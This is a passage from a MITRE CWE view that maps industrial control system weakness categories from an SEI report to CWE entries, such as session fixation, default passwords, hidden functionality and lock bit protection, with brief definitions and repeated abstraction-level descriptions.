1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 377 (Insecure Temporary File)
Creating and using insecure temporary files can leave application and system data vulnerable to attack.
* Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. Session Fixation - (384)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 384 (Session Fixation)
Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incorrect Use of Privileged APIs - (648)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 648 (Incorrect Use of Privileged APIs)
The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Out-of-bounds Write - (787)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 787 (Out-of-bounds Write)
The product writes data past the end, or before the beginning, of the intended buffer. Memory Corruption
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Isolation of Shared Resources on System-on-a-Chip (SoC) - (1189)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 1189 (Improper Isolation of Shared Resources on System-on-a-Chip (SoC))
The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Non-Transparent Sharing of Microarchitectural Resources - (1303)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 1303 (Non-Transparent Sharing of Microarchitectural Resources)
Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Default Password - (1393)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 1393 (Use of Default Password)
The product uses default passwords for potentially critical functionality.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Dependencies (& Architecture) - (1360)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture))
Weaknesses in this category are related to the "ICS Dependencies (& Architecture)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Dependencies (& Architecture): External Physical Systems - (1367)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems)
Weaknesses in this category are related to the "External Physical Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another physical system could cause an availability interruption for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Protection Against Voltage and Clock Glitches - (1247)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems) > 1247 (Improper Protection Against Voltage and Clock Glitches)
The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Protections Against Hardware Overheating - (1338)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems) > 1338 (Improper Protections Against Hardware Overheating)
A hardware device is missing or has inadequate protection features to prevent overheating.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Reliance on Insufficiently Trustworthy Component - (1357)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems) > 1357 (Reliance on Insufficiently Trustworthy Component)
The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Handling of Physical or Environmental Conditions - (1384)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems) > 1384 (Improper Handling of Physical or Environmental Conditions)
The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Dependencies (& Architecture): External Digital Systems - (1368)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems)
Weaknesses in this category are related to the "External Digital Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another digital system could cause a confidentiality, integrity, or availability incident for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. External Control of System or Configuration Setting - (15)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 15 (External Control of System or Configuration Setting)
One or more system settings or configuration elements can be externally controlled by a user.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Authentication - (287)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 287 (Improper Authentication)
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. authentification AuthN AuthC
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 306 (Missing Authentication for Critical Function)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Single-factor Authentication - (308)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 308 (Use of Single-factor Authentication)
The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Storage of Sensitive Information - (312)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 312 (Cleartext Storage of Sensitive Information)
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Expected Behavior Violation - (440)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 440 (Expected Behavior Violation)
A feature, API, or function does not perform according to its specification.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') - (470)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 470 (Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'))
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. Reflection Injection
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Client-Side Authentication - (603)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 603 (Use of Client-Side Authentication)
A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Externally Controlled Reference to a Resource in Another Sphere - (610)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 610 (Externally Controlled Reference to a Resource in Another Sphere)
The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Not Using Complete Mediation - (638)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 638 (Not Using Complete Mediation)
The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insufficient Technical Documentation - (1059)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 1059 (Insufficient Technical Documentation)
The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inconsistency Between Implementation and Documented Design - (1068)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 1068 (Inconsistency Between Implementation and Documented Design)
The implementation of the product is not consistent with the design as described within the relevant documentation.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Unmaintained Third Party Components - (1104)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 1104 (Use of Unmaintained Third Party Components)
The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Component That is Not Updateable - (1329)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 1329 (Reliance on Component That is Not Updateable)
The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Reliance on Insufficiently Trustworthy Component - (1357)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 1357 (Reliance on Insufficiently Trustworthy Component)
The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Default Password - (1393)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 1393 (Use of Default Password)
The product uses default passwords for potentially critical functionality.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain - (1361)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain)
Weaknesses in this category are related to the "ICS Supply Chain" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain: IT/OT Convergence/Expansion - (1369)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1369 (ICS Supply Chain: IT/OT Convergence/Expansion)
Weaknesses in this category are related to the "IT/OT Convergence/Expansion" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The increased penetration of DER devices and smart loads make emerging ICS networks more like IT networks and thus susceptible to vulnerabilities similar to those of IT networks." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Not Failing Securely ('Failing Open') - (636)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1369 (ICS Supply Chain: IT/OT Convergence/Expansion) > 636 (Not Failing Securely ('Failing Open'))
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions. Failing Open
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Access Control - (284)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1369 (ICS Supply Chain: IT/OT Convergence/Expansion) > 284 (Improper Access Control)
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Authorization
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain: Common Mode Frailties - (1370)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties)
Weaknesses in this category are related to the "Common Mode Frailties" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "At the component level, most ICS systems are assembled from common parts made by other companies. One or more of these common parts might contain a vulnerability that could result in a wide-spread incident." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Control of a Resource Through its Lifetime - (664)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 664 (Improper Control of a Resource Through its Lifetime)
The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Neutralization - (707)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 707 (Improper Neutralization)
The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Adherence to Coding Standards - (710)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 710 (Improper Adherence to Coding Standards)
The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Reliance on Insufficiently Trustworthy Component - (1357)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 1357 (Reliance on Insufficiently Trustworthy Component)
The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Generation of Predictable IV with CBC Mode - (329)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 329 (Generation of Predictable IV with CBC Mode)
The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Protection Mechanism Failure - (693)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1370 (ICS Supply Chain: Common Mode Frailties) > 693 (Protection Mechanism Failure)
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain: Poorly Documented or Undocumented Features - (1371)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features)
Weaknesses in this category are related to the "Poorly Documented or Undocumented Features" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Undocumented capabilities and configurations pose a risk by not having a clear understanding of what the device is specifically supposed to do and only do. Therefore possibly opening up the attack surface and vulnerabilities." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Active Debug Code - (489)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features) > 489 (Active Debug Code)
The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information. Leftover debug code
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Hidden Functionality - (912)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features) > 912 (Hidden Functionality)
The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insufficient Technical Documentation - (1059)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features) > 1059 (Insufficient Technical Documentation)
The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Undocumented Features or Chicken Bits - (1242)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1371 (ICS Supply Chain: Poorly Documented or Undocumented Features) > 1242 (Inclusion of Undocumented Features or Chicken Bits)
The device includes chicken bits or undocumented features that can create entry points for unauthorized actors.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Supply Chain: OT Counterfeit and Malicious Corruption - (1372)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption)
Weaknesses in this category are related to the "OT Counterfeit and Malicious Corruption" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "In ICS, when this procurement process results in a vulnerability or component damage, it can have grid impacts or cause physical harm." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques - (1278)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 1278 (Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques)
Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.
* Category Category - a CWE entry that contains a set of other entries that share a common characteristic. Privilege Separation and Access Control Issues - (1198)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 1198 (Privilege Separation and Access Control Issues)
Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Prevention of Lock Bit Modification - (1231)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 1231 (Improper Prevention of Lock Bit Modification)
The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Security-Sensitive Hardware Controls with Missing Lock Bit Protection - (1233)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 1233 (Security-Sensitive Hardware Controls with Missing Lock Bit Protection)
The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Access Control - (284)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1361 (ICS Supply Chain) > 1372 (ICS Supply Chain: OT Counterfeit and Malicious Corruption) > 284 (Improper Access Control)
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Authorization
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Constructions/Deployment) - (1362)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment))
Weaknesses in this category are related to the "ICS Engineering (Constructions/Deployment)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Engineering (Construction/Deployment): Trust Model Problems - (1373)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1373 (ICS Engineering (Construction/Deployment): Trust Model Problems)
Weaknesses in this category are related to the "Trust Model Problems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Assumptions made about the user during the design or construction phase may result in vulnerabilities after the system is installed if the user operates it using a different security approach or process than what was designed or built." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Privilege Management - (269)
1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1362 (ICS Engineering (Constructions/Deployment)) > 1373 (ICS Engineering (Construction/Deployment): Trust Model Problems) > 269 (Improper Privilege Management)
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
